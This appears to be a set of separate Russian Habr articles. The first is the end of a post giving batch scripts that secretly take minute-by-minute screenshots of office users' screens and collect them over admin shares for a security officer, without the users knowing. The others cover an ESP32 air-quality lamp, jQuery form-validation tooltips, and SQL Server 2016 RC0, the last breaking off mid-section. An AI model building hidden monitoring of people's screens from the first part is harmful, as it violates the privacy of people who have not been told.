Нужно прогнать под админом для всех ПК\Юзеров в группе мониторинга. Но можно и не заморачиваться, есть ведь папки Users\Public, куда у них есть право записи по умолчанию.
Как показала практика, nircmd работает корректно только если был запущен самим пользователем (PSExec не поможет, будет писать черный экран), а также вполне себе работает в терминале, там только нужно разделить папки log по именам пользователей.
Теперь настроим наш сервер. Пишем один батник, который будет заниматься и забором, и чисткой, и восстановлением каталогов хранилища.
```
@echo off
setlocal ENABLEDELAYEDEXPANSION
cd /d e:\
IF "%1"=="/repair" (goto REPAIR)
IF "%1"=="/scan" (goto SCANCOPY)
IF "%1"=="/archive" (goto ARCHIVE)
:SCANCOPY
REM ------------- Собираем скриншоты
for /F "tokens=*" %%A in (e:\auto\loop.txt) do (
if %%A EQU @END_OF_LOOP (
exit /b
) else (
e:\auto\scancopy.bat /%%A
)
)
goto :EOF
:ARCHIVE
REM ------------- Чистим мусор
attrib -H -S /S e:\roam\Thumbs.db
del /F /S /Q e:\roam\Thumbs.db
attrib -H -S /S e:\roam\_desktop.ini
del /F /S /Q e:\roam\_desktop.ini
REM ------------- Удаляем все, что старше -5 дней
forfiles -p e:\roam -m *.* -s -d -5 -c "cmd /c del /q @path"
:REPAIR
REM ------------- Удаляем все пустые папки
goto start
:fn1
for /d %%i in ("%~1\*") do (call :fn1 "%%i" & rd /q "%%i")
exit /b
:start
call :fn1 "e:\roam"
:REPAIR_P2
REM ------------- Создадим папки для наших ПК
for /F "tokens=*" %%A in (e:\auto\loop.txt) do (
if %%A EQU @END_OF_LOOP (
exit /b
) else (
MKDIR e:\roam\%%A\
)
)
```
Содержимое scancopy.bat:
```
@ECHO off
set DEST=%1
IF not EXIST "\%DEST%\ADMIN$" ( goto :EOF )
IF not EXIST "\%DEST%\ADMIN$\Security\Domain\Log" (
(ECHO WARNING --- %DATE% %TIME% --- %COMPUTERNAME%: Log folder not found! )>>"\\DomainController\LOG\nir_journal.txt"
goto :EOF )
>nul 2>nul dir /a-d "\%DEST%\ADMIN$\Security\Domain\Log\*" && (GOTO TRANSFER) || ( (ECHO WARNING --- %DATE% %TIME% --- %COMPUTERNAME%: Zero files in source folder! )>>"\\DomainController\LOG\nir_journal.txt" )
:TRANSFER
IF NOT EXIST e:\roam%DEST%\%DATE%\ ( MKDIR e:\roam%DEST%\%DATE%\ )
robocopy \%DEST%\ADMIN$\Security\Domain\Log e:\roam%DEST%\%DATE%\ /MOV /R:0)
(ECHO SERVICE --- %DATE% %TIME% --- %DEST%: Files transfer success. )>>"\\DomainController\LOG\nir_journal.txt"
```
Loop.txt — просто список компов или IP-адресов, разделенных новой строкой. В конце списка — @END\_OF\_LOOP — как маркер конца списка.
Создадим три задания в планировщике, которые будут запускать service /scan каждый час, service /repair каждый день и service /archive каждый день. Все, наша система мониторинга готова. Даем безопаснику ссылки на каждую папку в хранилище (подписанные пофамильно), объясняем принцип работы и пусть сидит играется.
Теперь можно и что-нибудь полезное пойти сделать.
Кратко, структура:
1. Log-on скрипт запускает nircmd;
2. nircmd делает скриншоты каждую минуту и сохраняет локально;
3. Сервер раз в час прогоняет robocopy по списку ПК\IP и забирает скриншоты у пользователей;
4. У безопасника ссылки на папки в хранилище и он знает, что загрузка идет раз в час, а также что файлы старше 5 дней удаляются.
Решение работает в моей конторе уже полгода, никаких проблем не возникало, пользователи о ней знать не знают (но догадываются), безопасник и руководство довольны. Нугрузка nircmd на проц на самом допотопном ПК в конторе составляет 1-2%. | https://habr.com/ru/post/266419/ | null | ru | null |
# HAQuDA: новый взгляд на мониторы качества воздуха
HAQuDA – это настольная лампа, которая отображает данные о параметрах окружающей среды: качестве воздуха, температуре и влажности, при помощи цвета освещения. Если параметр в норме, то он зеленый, а если завышен или занижен, то красный или синий соответственно. У лампы есть несколько режимов отображения: стандартный, мульти, ночной, режим светильника, и возможность управления с помощью собственной веб-страницы и голосовых помощников.
---
Всем привет!
В период пандемии большая часть нашей жизни перестала выходить за рамки четырех стен, из-за чего остро встал вопрос о состоянии окружающей нас среды, о качестве воздуха в квартире, так как он напрямую влияет на наше самочувствие и продуктивность. В этой статье я хотел бы рассказать о процессе разработки волшебного домашнего отображателя качества воздуха.
С чего все началось…
--------------------
В книге "Будущее вещей" Дэвида Роуза,автор рассказывает о свойствах волшебных вещей, способных облегчить нашу повседневную жизнь: часы с цветовым отображением количества потребленной электроэнергии в квартире, волшебный шар, способный цветом показывать совершенно разные параметры: от количества аллергической пыльцы на улице, до текущей стоимости акций. Почему эти вещи волшебные? Их концепции взяты из известных фантастических произведений. Судите сами: в повести Дж.Р.Р. Толкина "Хоббит, или Туда и Обратно" есть волшебный кинжал - "Жало", который кроме своей основной задачи - убивать полчища орков и гоблинов, еще и предупреждает своего хозяина о присутствии недругов - отличный пример простого интерфейса человек-устройство. Развитие идеи волшебных устройств воплотилось в [устройстве ОПЭДИ](https://habr.com/ru/post/523988/), которое отображает на календаре количество потребленной электроэнергии в квартире, в разработке которого и я принимал участие. Мне захотелось продолжить эту идею и я решил собрать станцию мониторинга качества воздуха, которая совмещала бы в себе все необходимые датчики и имела "волшебные" свойства. Так и родилась идея HAQuDA…
Для чего он нужен?
------------------
Основная идея устройства заключается в простоте передачи информации о состоянии дома человеку. Существующие модели датчиков качества воздуха передают информацию понятную специалистам, но специфичную для простых пользователей, например единица измерения CO2 – PPM, а количество летучей органики (формальдегиды, ацетон, этанол и т.д.) измеряется в микрограммах на кубический метр. ОКВоДи позволяет моментально и понятно показывать информацию о качестве воздуха, за счет ее отображения цветом: от зеленого – качество воздуха хорошее, до красного - когда уже пора проветрить помещение. В этом устройстве заложен принцип “**преаттентивности**” (от англ. pre-attention) - показывать тот объем информации, который необходим для принятия решения, что позволит человеку быстрее обрабатывать информации, не фокусируя на ней внимание.
Примеры преаттентивных отображений данныхНа тепловой карте акций по цвету сразу можно увидеть акции каких компаний теряют в цене, а по размеру у кого сумма акций большеА на тепловой карте температуры можно сразу определить в каких регионах теплее, а в каких зима в самом разгареКак он устроен?
---------------
ОКВоДи представляет собой лампу цилиндрической формы (90x130мм) состоящую из двух частей: матовая полупрозрачная белая верхняя часть и основание из непрозрачного пластика. Внутри верхней части к трубе, закрепленной на плате, приклеены адресные светодиоды WS2812B, в количестве 12x9 штук. На плате расположены ESP-32 mini и датчики: датчик влажности и температуры – DHT-11, датчик летучих органических соединений и [датчик углекислого газа – CCS811](https://cdn.sparkfun.com/assets/learn_tutorials/1/4/3/CCS811_Datasheet-DS000459.pdf), [датчик озона - ZE25-O3](https://www.winsen-sensor.com/sensors/o3-gas-sensor/ze25-o3.html), [датчик взвешенных частиц - ZH03B](https://www.winsen-sensor.com/sensors/dust-sensor/zh3b.html). В верхней крышке расположена сенсорная кнопка, чтобы отслеживать касания и менять режим отображения. Также на плате располагается два USB-A выхода для зарядки устройств и один USB-Micro вход питания.
Основные функции
----------------
ОКВоДи умеет отображать следующие параметры микроклимата дома:
* **Летучие органические соединения** (TVOC) – измеряется в частицах на миллиард [ppb]
* **Количество озона** (O3) – измеряется в частицах на миллиард [ppm], ±0.01ppm
* **Твердые частицы** PM1.0, PM2.5, PM10 (Dust) – измеряется в микрограммах на метр кубический [мкг/м3], ±15 мкг/м3
* **Углекислый газ** (CO2) - измеряется в частицах на миллион [ppm]
* **Температура** (Temp) – измеряется в градусах Цельсия [°C], ± 2℃
* **Влажность** (Humid) – измеряется в процентах [%], ± 5%
* **Общее качество воздуха** (TotalAirQuality) – рассчитывается на основе всех предыдущих показателей
Выбор именно этих показателей качества воздуха связан с тем, что они [оказывают основное долговременное воздействие на человека](https://www.frontiersin.org/articles/10.3389/fpubh.2020.00014/full).
Режимы отображения:
* **Основной** (Standard-mode) – все светодиоды задействованы для одного конкретного параметра
* **Мульти-режим** (Multi-mode) – светодиоды делятся на три секции и отображают три параметра, выбранные пользователем
Пример мульти-режима: снизу температура, затем CO2, и пыль, как видно в комнате было достаточно тепло, а качество воздуха было в порядке* Ночной (Night-mode) – три вертикальные линии светодиодов выделяются под отображение одного параметра, заданного пользователем, остальные выполняют роль подсветки-ночника и отображают время преаттентивно: вертикальным заполнением полосы светодиодов. Пользователь вводит временной диапазон, например от времени засыпания, до будильника, по умолчанию установлен с 21.00 до 09.00. Каждый час загорается новая линия светодиодов, таким образом яркость ночника увеличивается с наступлением утра, а в промежутках сна можно определить оставшееся время чтобы поспать. В итоге получается progress bar времени вашего сна
Примеры ночного режима с отображением CO2На этой картинке время примерно между 11-ю и 12-ю часами ночи, горят 2 белых светодиодаА на этой картинке уже утро - горят все светодиоды и количество CO2 уменьшилось
Пример ночного режима на 3D модели лампы Приступаем к разработке
-----------------------
Разработку я начал с создания общей 3D-модели устройства, чтобы примерно определить его габариты, размеры печатной платы и количество светодиодов ,которые можно разместить внутри.
За основу корпуса решил взять небольшую лампу, потому что у нее был отличный рассеиватель и по размерам он подходил. В SolidWorks сделал 3D модель всей лампы с нижней частью корпуса, и со всеми отверстиями, чтобы понимать как разместить все компоненты в столь небольшом объеме.
3D-модель первой версии лампыА под спойлером вы можете увидеть, как лампа выглядит внутри3D-модель лампы без корпуса и рассеивателяСхему проектировал с расчетом на то, что в будущем заменю готовый модуль D1 Mini ESP32 на оригинальный ESP WROOM 32, так как порт USB-micro на D1 Mini расположен в неудобном для круглого корпуса месте (его не выведешь наружу, он утоплен в плате) и при разработке ориентировался на прошивку и отладку с помощью JTAG-программатора, ну и готовый модуль занимает меньше места. Развел печатную плату в Altium-е и заказал ее на JLC PCB.
Верхний и нижний слои платыТеперь необходимо было запустить все датчики и начать выводить первые данные на светодиоды.
Переходим к написанию кода
--------------------------
Основные сведения о протоколах обмена данными с датчиками я почерпнул в основном из интернета. Измерения проводятся раз в 2 секунды (так как это время измерения самого медленного датчика - DHT11) и суммируются для последующего расчета их среднего значения. Каждые 5 минут обновляются показания светодиодной ленты на основе среднего значения выбранных параметров, затем все измерения обнуляются, чтобы начать новый 5-ти минутный цикл.
Для перевода количественных показателей качества воздуха в цвет светодиодов, диапазон измерений условно разбил на 3 части (по основным цветам светодиодов, 1-я граница - минимум значения параметра, 2-я граница - оптимальное значение, 3-я граница - максимум): между первой и второй границей для отображения используются только синий и зеленый цвета; между второй и третьей - зеленый и красный соответственно. Если измерение выходит за первую или последнюю границу, то цвет светодиодов назначается синий или красный соответственно, что сигнализирует о чрезмерном уменьшении или превышении некоторого показателя.
```
void getRGB(int *_red, int *_green, int *_blue, float data, paramsDivideDots divideDots) {
volatile float coefficient = (pixels.getBrightness() * 2) / (divideDots.thirdDot - divideDots.firstDot); //коэффициент настройки яркости цвета в зависимости от текущей установленной яркости лампы
if ((data < divideDots.secondDot) && (data >= divideDots.firstDot)) {
/* Измерение между 1-й и 2-й границами,
используются синий и зеленый цвета, при приближении,
например, ко 2-й границе цвет становится более зеленым */
*_blue = round(-abs(data - divideDots.firstDot) * coefficient) + MAX_BRIGHTNESS;
*_green = round(-abs(data - divideDots.secondDot) * coefficient) + MAX_BRIGHTNESS;
*_red = 0;
} else if ((data >= divideDots.secondDot) && (data <= divideDots.thirdDot)) {
/* Измерение между 2-й и 3-й границами,
используются зеленый и красный цвета */
*_blue = 0;
*_green = round(-abs(data - divideDots.secondDot) * coefficient) + MAX_BRIGHTNESS;
*_red = round(-abs(data - divideDots.thirdDot) * coefficient) + MAX_BRIGHTNESS;
} else if (data < divideDots.firstDot) {
// Измерение ниже 1-й границы, поэтому цвет устанавливаем синим
*_blue = MAX_BRIGHTNESS;
*_green = 0;
*_red = 0;
} else if (data > divideDots.thirdDot) {
// Измерение выше 3-й границы, поэтому цвет устанавливаем красным
*_blue = 0;
*_green = 0;
*_red = MAX_BRIGHTNESS;
}
}
```
Расчет общего состояния воздуха производил следующим образом:
1. Если какой-то из параметров воздуха вышел за третью границу, то есть превысил максимум и качество воздуха существенно снизилось, то цвет светодиодов устанавливается только в зависимости от этого параметра;
2. Иначе, рассчитываем цвета светодиодов для каждого параметра по функции, представленной выше, вычисляем среднее значение каждого цвета и устанавливаем эти средние значения на светодиоды.
Выбор именно такого алгоритма обусловлен тем, что для общей оценки качества воздуха нам нужно привести все значения измерений к одной размерности, чтобы можно было вычислить среднее. Лучшей безразмерной величиной для усреднения, чем цвет светодиодов в данном случае не придумаешь.
```
void WS2812_showParams_standardTotal(float *data) {
// Создаем массив 5x3 (5 - кол-во отображаемых параметров, 3 - кол-во цветов)
int colorsArr[DISP_PARAMS_NUM][COLORS_NUM];
for (int i = 0; i < DISP_PARAMS_NUM; i++) {
// Рассчитываем все 3 цвета для каждого отображаемого параметра
getRGB(&(colorsArr[i][0]), &(colorsArr[i][1]), &(colorsArr[i][2]), data[i], temp_divideDots);
}
int red, green, blue;
for (int i = 0; i < DISP_PARAMS_NUM; i++) {
red += colorsArr[i][0];
green += colorsArr[i][1]; // Рассчитываем средние значения каждого цвета
blue += colorsArr[i][2];
}
red /= DISP_PARAMS_NUM;
green /= DISP_PARAMS_NUM;
blue /= DISP_PARAMS_NUM;
// Выводим получившиеся цвета
pixels.fill(pixels.Color(red, green, blue), 0, LED_NUM_PIXELS);
pixels.show();
delay(100);
}
```
Код проекта вы можете найти на [моем гитхабе](https://github.com/IlorDash/HAQuDA).
Итог
----
На данный момент прототип моей лампы умеет отображать все запланированные показатели состояния воздуха цветом, как по отдельности, так и общее качество воздуха в целом по всем параметрам. Имеется управление с помощью Blynk.
Меню устройства в BlynkВ темной комнате создается мягкое рассеянное освещение, идеальный вариант для ночникаВ дальнейшем я планирую
1. Улучшить нижнюю часть корпуса, закрепить в ней плату;
2. Заменить вертикальную трубу для светодиодов на прямоугольные платы, с посадочными местами под отдельные светодиоды и разместить светодиоды ближе к краю платы, чтобы они были более отчетливо видны;
3. Развернуть веб-сервер, для удаленного управление лампой, который позволит менять режимы отображения параметров, включать одноцветную подсветку и эффекты. На веб-сервере будут отображаться текущие показатели микроклимата дома, графики показателей за несколько дней;
4. Сделать интеграцию с Яндекс Алисой для голосового управления. С помощью навыка “Домовенок Кузя” Алиса будет отправлять HTTP запросы на веб-сервер ESP-32 и, например, включать ночной режим или выключать лампу. Выбор Алисы обусловлен ее популярностью, поддержкой русского языка и простотой ее навыка;
5. Убрать датчик озона, так как его точность недостаточна для повседневных наблюдений (+- 10 ppb и диапазон измерений 0-10000 ppb, при том, что норма концентрации в помещении до 60 ppb, а при концентрации свыше 116 ppb в помещении уже находиться нельзя), а цена даже самого популярного датчика высока;
6. Собрать еще несколько обновленных ламп и отправить их желающим для тестов, с последующим дарением. | https://habr.com/ru/post/647117/ | null | ru | null |
# Красивые подсказки для jQuery Validation с помощью qtip
Привет Хабр!
Хочу поделиться способом организации красивых подсказок для плагина [валидации](http://bassistance.de/jquery-plugins/jquery-plugin-validation/) на jQuery. Для этих целей будем использовать еще один плагин создания красивых информационных сообщений — [qtip](http://www.craigsworks.com/projects/qtip/).
[](http://www.radikal.ru)
[](http://www.radikal.ru)
Для работы нам понадобиться:
форма на которой будем настраивать валидацию
```
Логин:
Пароль:
```
Сам [jQuery](http://jquery.com/)
Плагины:
[qtip](http://www.craigsworks.com/projects/qtip/)
[Validation](http://bassistance.de/jquery-plugins/jquery-plugin-validation/)
Теперь соберем все в одном месте(рекумендую вынести валидацию и подсказки в отдельный файлы, а в основном их подключать)
```
input.error,
textarea.error,
select.error,
div.error
{
border:1px solid red !important;
}
input[type='text'].error {border:1px solid #e1e1e1; border-top:1px solid #b0aa9b; border-left:1px solid #b0aa9b; background:#ff9582;}
$(document).ready(function() {
//настрйока валидации
$("#register\_form").validate({
ignore: ".ignore, :hidden",
focusInvalid: true,
hideErrElem : "#validate\_error",
errorPlacement: function(error,element) {
//назначаем обработчик на ошибки
changeTip(element);
return true;
},
rules: {
'users\_login' : {
required : true,
login: true
},
'users\_password' : {
required : true,
pass: true,
minlength: 6
}
}
});
$("#subm\_id").click(function() {
var valid = $("#register\_form").valid();
if(valid)
{
document.forms["form\_reg"].submit()
}
});
jQuery.validator.addMethod('login', function(value, element, param)
{
if((new RegExp("^[0-9a-zA-Z\\_]{3,}$", "").test(value)))
{
return true;
}
return false;
});
jQuery.validator.addMethod("pass", function(value, element)
{
if((/^[a-zA-Z\d\-\!\.\/\$\\\,\?\:\&\\*\;\@\%\(\)\+\=\№\#\\_\[\]]{6,}$/.test(value)))
{
return true;
}
return false;
});
//для того чтобы выводить ошибки при валидации обернем все подсказки в объект, чтобы было удобнее ими управлять
fields\_tip = {
//основные параметры для подсказок
tip\_w : 300,
tip\_r : 3,
tip\_color : 'light',
tip\_show : 'mouseover focus',
tip\_show\_ready : false,
tip\_hide : 'mouseout click blur',
tip\_border\_w : 0,
tip\_screen : false,
tip\_hide\_delay : 0,
//настройка внешнего вида подсказок qtip
//поле логин
users\_login : function() {
$('\*[name="users\_login"]').qtip({
content: {
text: 'Для поля "Логин" допускается ввод чисел от 0 до 9, а также букв латинского алфавита и символа "\_"',
title: {
text: 'Логин'
}
},
position: {
corner: {
target: 'rightMiddle',
tooltip: 'leftMiddle'
},
adjust: {
screen: this.tip\_screen
}
},
show: {
when: this.tip\_show,
solo: false,
ready : this.tip\_show\_ready
},
hide: {
when: {
event: this.tip\_hide
},
delay: this.tip\_hide\_delay
},
style: {
tip: true,
border: {
width: this.tip\_border\_w,
radius: this.tip\_r
},
name: this.tip\_color,
width: this.tip\_w
}
});
},
users\_login\_destruct : function() {
$('\*[name="users\_login"]').qtip('destroy');
},
//поле пароль
users\_password : function() {
$('\*[name="users\_password"]').qtip({
content: {
text: 'Для поля "Пароль" допускается ввод чисел от 0 до 9, а также букв латинского алфавита и символов "-!./\$,?:&\*;@%()+=№#\_[]"',
title: {
text: 'Пароль'
}
},
position: {
corner: {
target: 'rightMiddle',
tooltip: 'leftMiddle'
},
adjust: {
screen: this.tip\_screen
}
},
show: {
when: this.tip\_show,
solo: false,
ready : this.tip\_show\_ready
},
hide: {
when: {
event: this.tip\_hide
},
delay: this.tip\_hide\_delay
},
style: {
tip: true,
border: {
width: this.tip\_border\_w,
radius: this.tip\_r
},
name: this.tip\_color,
width: this.tip\_w
}
});
},
users\_password\_destruct : function() {
$('\*[name="users\_password"]').qtip('destroy');
},
//инициализация подсказок
init : function() {
this.users\_login();
$('\*[name="users\_login"]').mouseover();
this.users\_password();
$('\*[name="users\_password"]').mouseover();
},
destructor : function() {
this.users\_login\_destruct();
this.users\_password\_destruct();
}
};
fields\_tip.init();
});
function changeTip(element)
{
if(!($(element).hasClass('error')))
{
//если класса ошибки у элемента нет, то делаем ему нормальную подсказку
//удаляем ту, что есть
$(element).qtip('destroy');
//создаем обычную
fields\_tip.tip\_r = 3;
fields\_tip.tip\_border\_w = 3;
fields\_tip.tip\_show\_ready = false;
fields\_tip.tip\_color = 'light';
fields\_tip.tip\_show = 'mouseover focus';
fields\_tip.tip\_hide = 'mouseout click blur';
fields\_tip[$(element)[0].name].call(fields\_tip);
$('\*[name="' + $(element)[0].name + '"]').mouseover();
}
else
{
//удаляем ту, что есть
$(element).qtip('destroy');
fields\_tip.tip\_color = 'red';
fields\_tip.tip\_show\_ready = true;
fields\_tip.tip\_show = 'mouseover focus';
fields\_tip.tip\_hide = 'click mouseout blur';
//создаем ошибку
fields\_tip[$(element)[0].name].call(fields\_tip);
$('\*[name="' + $(element)[0].name + '"]').mouseover();
//скрытие подсказки, можно сделать любой эффект
setTimeout('$(\'\*[name="' + $(element)[0].name + '"]\').qtip("hide");', 3000);
}
}
Логин:
Пароль:
```
Благодарю за внимание.
Надеюсь, информация будет полезна
PS приветствуются указания на ошибки, буду стараться все исправлять | https://habr.com/ru/post/139364/ | null | ru | null |
# SQL Server 2016 RC0
На глаза попалась уже вторая новость на Хабре о том, что скоро *Microsoft* «подружит» *SQL Server* и *Linux*. Но ни слова не сказано про *SQL Server 2016 Release Candidate*, который стал доступен для [загрузки](https://www.microsoft.com/en-us/evalcenter/evaluate-sql-server-2016) буквально на днях.
В следующем месяце планируется выпустить *RTM*, поэтому далее под катом разбор некоторых нововведений, которые будут доступны в рамках новой версии: отличия в установке, дефолтные трейс-флаги, новые функции и **киллер-фича** для анализа плана выполнения.
Начнем с установки экземпляра *SQL Server 2016*. Сам инсталлятор претерпел изменения по сравнению с предыдущей версией:
* Для установки доступна только *x64* версия *SQL Server*-а (последний *x86* билд вырезали еще в *CTP2.3*). Официально все звучит более лаконичнее: *«SQL Server 2016 Release Candidate (RC0) is a 64-bit application. 32-bit installation is discontinued, though some elements run as 32-bit components.»*
* Установка *SQL Server 2016* на *Windows 7* и *Windows Server 2008* не поддерживается. Официальный список систем куда можно установить *SQL Server*: все *x64* редакции *Windows 8/8.1/10* и *Windows Server 2012*
* *SSMS* теперь не поставляется вместе с *SQL Server* и развивается отдельно. Скачать *standalone* редакцию *SSMS* можно по этой [**ссылке**](https://msdn.microsoft.com/en-us/library/mt238290.aspx). Новая редакция *SSMS* поддерживает работу с *SQL Server 2005..2016*, поэтому теперь не нужно держать целый парк студий для каждой версии.
* Добавились два новых компонента, которые реализуют поддержку языка *R* и *PolyBase* (мост между *SQL Server* и *Hadoop*):
Для работы *PolyBase* требуется предварительно установить [*JRE7*](http://www.oracle.com/technetwork/java/javase/downloads/jre7-downloads-1880261.html) или более свежую версию:
И не забыть потом добавить в исключения *Firewall* выбранный диапазон портов:
Отдельное **спасибо** *Microsoft* — теперь не нужно ковыряться в групповой политике, чтобы включить [*Instant File Initialization*](https://habrahabr.ru/post/270699/):
Также немного поменялся диалог по выбору дефолтных путей:
Для настройки *tempdb* сделали отдельную закладку на которой можно автоматически создать нужное число файлов и разнести их при необходимости по разным дискам. Но даже если этого не делать, радует, что при установке по умолчанию параметр *Autogrowth* будет не *1Mб* (как раньше), а *64Mб*.
При этом максимальный размер файла ограничен *256Мб*. Можно задать и больше, но уже после установки:
На этом отличия в установке по сравнению с предыдущей версией заканчиваются.
Теперь посмотрим на то что еще поменялось…
Изменились настройки системной базы *model*, чтобы снизить число *AutoGrow* событий:
Почитать почему это плохо можно [тут](https://habrahabr.ru/post/277053/).
Также важно упомянуть, что некоторые *Trace Flag*-ги на новом *SQL Server*-е будут включены по умолчанию…
##### **-T1118**
*SQL Server* вычитывает данные с диска кусками по *64Кб* (так называемыми экстентами). Экстент – это группа из восьми физически последовательных страниц (по *8Кб* каждая) файлов базы данных.
Имеются два типа экстентов: смешанные и однородные. На смешанном экстенте могут храниться страницы с разных объектов. Такое поведение позволяет очень маленьким таблицам занимать минимальное количество места. Но чаще всего таблицы не ограничиваются размером в *64Кб* и когда требуется более 8 страниц для хранения данных по одному объекту, то происходит переключение на выделение однородных экстентов.
Чтобы изначально выделять для объекта однородные экстенты был предусмотрен *TF 1118*, который [рекомендовалось](http://www.sqlskills.com/blogs/paul/misconceptions-around-tf-1118/) включать. И получалось, что работал он глобально для всех баз на сервере.
В *2016* версии такого уже не будет. Теперь для каждой пользовательской базы можно задать опцию [*MIXED\_PAGE\_ALLOCATION*](https://msdn.microsoft.com/en-us/library/bb522469.aspx):
```
ALTER DATABASE test SET MIXED_PAGE_ALLOCATION OFF
```
Для системных баз данная опция включена по умолчанию, т.е. все остается, как и было ранее:
```
SELECT name, is_mixed_page_allocation_on
FROM sys.databases
```
Исключение сделано лишь для пользовательских баз и *tempdb*:
```
name is_mixed_page_allocation_on
----------------- ---------------------------
master 1
tempdb 0
model 1
msdb 1
DWDiagnostics 0
DWConfiguration 0
DWQueue 0
test 0
```
Приведу небольшой пример:
```
IF OBJECT_ID('dbo.tbl') IS NOT NULL
DROP TABLE dbo.tbl
GO
CREATE TABLE dbo.tbl (ID INT DEFAULT 1)
GO
CHECKPOINT
GO
INSERT dbo.tbl DEFAULT VALUES
GO
SELECT [Current LSN], Operation, Context, AllocUnitName, [Description]
FROM sys.fn_dblog(NULL, NULL)
```
*MIXED\_PAGE\_ALLOCATION=ON*:
*MIXED\_PAGE\_ALLOCATION=OFF*:
##### **-T1117**
В рамках одной файловой группы может быть создано несколько файлов. Например, для базы *tempdb* [рекомендуется](http://www.sqlskills.com/blogs/paul/correctly-adding-data-files-tempdb/) создавать несколько файлов, что может в некоторых сценариях увеличить производительность системы.
Теперь предположим ситуацию: все файлы, входящие в файловую группу, имеют одинаковый размер. Создается большая временная таблица. Места в файле *#1* не достаточно и разумеется происходит *AutoGrow*. Через время такая же таблица пересоздается, но вставка происходит в файл *#2*, потому что #1 временно заблокирован. Что в таком случае будет? *AutoGrow* для *#2*… и повторная задержка при выполнении запросов. Для таких случаев, был предусмотрен *TF 1117*. Работал он глобально и при нехватке места в одном файле вызывал *AutoGrow* для всех файлов в рамках одной файловой группы.
Теперь данный трейс-флаг включен по умолчанию для *tempdb* и может избирательно [настраиваться](https://msdn.microsoft.com/en-us/library/bb522469.aspx) для пользовательских баз:
```
ALTER DATABASE test
MODIFY FILEGROUP [PRIMARY] AUTOGROW_ALL_FILES
GO
ALTER DATABASE test
MODIFY FILEGROUP [PRIMARY] AUTOGROW_SINGLE_FILE
GO
```
Посмотрим на размер файлов:
```
USE tempdb
GO
SELECT
name
, physical_name
, current_size_mb = ROUND(size * 8. / 1024, 0)
, auto_grow =
CASE WHEN is_percent_growth = 1
THEN CAST(growth AS VARCHAR(10)) + '%'
ELSE CAST(CAST(ROUND(growth * 8. / 1024, 0) AS INT) AS VARCHAR(10)) + 'MB'
END
FROM sys.database_files
WHERE [type] = 0
```
```
name physical_name size_mb auto_grow
---------- --------------------------------------------------- -------- ------------
tempdev D:\DATABASES\SQL_2016RC0\TEMP\tempdb.mdf 8.000000 64MB
temp2 D:\DATABASES\SQL_2016RC0\TEMP\tempdb_mssql_2.ndf 8.000000 64MB
temp3 D:\DATABASES\SQL_2016RC0\TEMP\tempdb_mssql_3.ndf 8.000000 64MB
temp4 D:\DATABASES\SQL_2016RC0\TEMP\tempdb_mssql_4.ndf 8.000000 64MB
```
Создаем временную таблицу:
```
IF OBJECT_ID('#t') IS NOT NULL
DROP TABLE #t
GO
CREATE TABLE #t (
ID INT DEFAULT 1,
Value CHAR(8000) DEFAULT 'X'
)
GO
INSERT INTO #t
SELECT TOP(10000) 1, 'X'
FROM [master].dbo.spt_values c1
CROSS APPLY [master].dbo.spt_values c2
```
Места чтобы вставить данные не хватит и произойдет *AutoGrow*.
*AUTOGROW\_SINGLE\_FILE*:
```
name physical_name size_mb auto_grow
---------- --------------------------------------------------- ----------- ------------
tempdev D:\DATABASES\SQL_2016RC0\TEMP\tempdb.mdf 72.000000 64MB
temp2 D:\DATABASES\SQL_2016RC0\TEMP\tempdb_mssql_2.ndf 8.000000 64MB
temp3 D:\DATABASES\SQL_2016RC0\TEMP\tempdb_mssql_3.ndf 8.000000 64MB
temp4 D:\DATABASES\SQL_2016RC0\TEMP\tempdb_mssql_4.ndf 8.000000 64MB
```
*AUTOGROW\_ALL\_FILES*:
```
name physical_name size_mb auto_grow
---------- --------------------------------------------------- ----------- ------------
tempdev D:\DATABASES\SQL_2016RC0\TEMP\tempdb.mdf 72.000000 64MB
temp2 D:\DATABASES\SQL_2016RC0\TEMP\tempdb_mssql_2.ndf 72.000000 64MB
temp3 D:\DATABASES\SQL_2016RC0\TEMP\tempdb_mssql_3.ndf 72.000000 64MB
temp4 D:\DATABASES\SQL_2016RC0\TEMP\tempdb_mssql_4.ndf 72.000000 64MB
```
##### **-T2371**
До 2016 версии для автоматического пересчета статистики использовалось магическое число «20% + 500 строк». Просто покажу на примере:
```
USE [master]
GO
SET NOCOUNT ON
IF DB_ID('test') IS NOT NULL BEGIN
ALTER DATABASE [test] SET SINGLE_USER WITH ROLLBACK IMMEDIATE
DROP DATABASE [test]
END
GO
CREATE DATABASE [test]
GO
USE [test]
GO
IF OBJECT_ID('dbo.tbl', 'U') IS NOT NULL
DROP TABLE dbo.tbl
GO
CREATE TABLE dbo.tbl (
ID INT IDENTITY(1,1) PRIMARY KEY,
Value CHAR(1)
)
GO
CREATE NONCLUSTERED INDEX ix ON dbo.tbl (Value)
GO
INSERT INTO dbo.tbl
SELECT TOP(10000) 'x'
FROM [master].dbo.spt_values c1
CROSS APPLY [master].dbo.spt_values c2
```
Чтобы обновилась статистика, нужно изменить:
```
SELECT [>=] = COUNT(1) * .20 + 500
FROM dbo.tbl
HAVING COUNT(1) >= 500
```
В нашем случае это 2500 строк. При этом не за один раз, а вообще… это значение кумулятивное. Выполняем сперва запрос:
```
UPDATE dbo.tbl
SET Value = 'a'
WHERE ID <= 2000
```
Смотрим:
```
DBCC SHOW_STATISTICS('dbo.tbl', 'ix') WITH HISTOGRAM
```
```
RANGE_HI_KEY RANGE_ROWS EQ_ROWS DISTINCT_RANGE_ROWS AVG_RANGE_ROWS
------------ ------------- ------------- -------------------- --------------
x 0 10000 0 1
```
Статистика старая… Выполняем еще один запрос:
```
UPDATE dbo.tbl
SET Value = 'b'
WHERE ID <= 500
```
Ура! Статистика обновилась:
```
RANGE_HI_KEY RANGE_ROWS EQ_ROWS DISTINCT_RANGE_ROWS AVG_RANGE_ROWS
------------ ------------- ------------- -------------------- --------------
a 0 1500 0 1
b 0 500 0 1
x 0 8000 0 1
```
А теперь предположим, что таблица у нас огромная… 10-20-30 миллионов строк. Чтобы пересчиталась статистика нам нужно изменить внушительный объём данных или вручную следить за обновлением статистики.
Начиная с *SQL Server 2008R2 SP1* появился *TF 2371*, который вот тот «магический» процент занижал динамически в зависимости от общего числа строк:
```
< 25k = 20%
> 30k = 18%
> 40k = 15%
> 100k = 10%
> 500k = 5%
> 1000k = 3.2%
```
В *SQL Server 2016* этот трейс флаг включен по умолчанию.
##### **-T8048**
В случае, если в вашей системе более 8 логических процессоров и наблюдается большое число ожиданий *CMEMTHREAD* и кратковременных блокировок:
```
SELECT waiting_tasks_count
FROM sys.dm_os_wait_stats
WHERE wait_type = 'CMEMTHREAD'
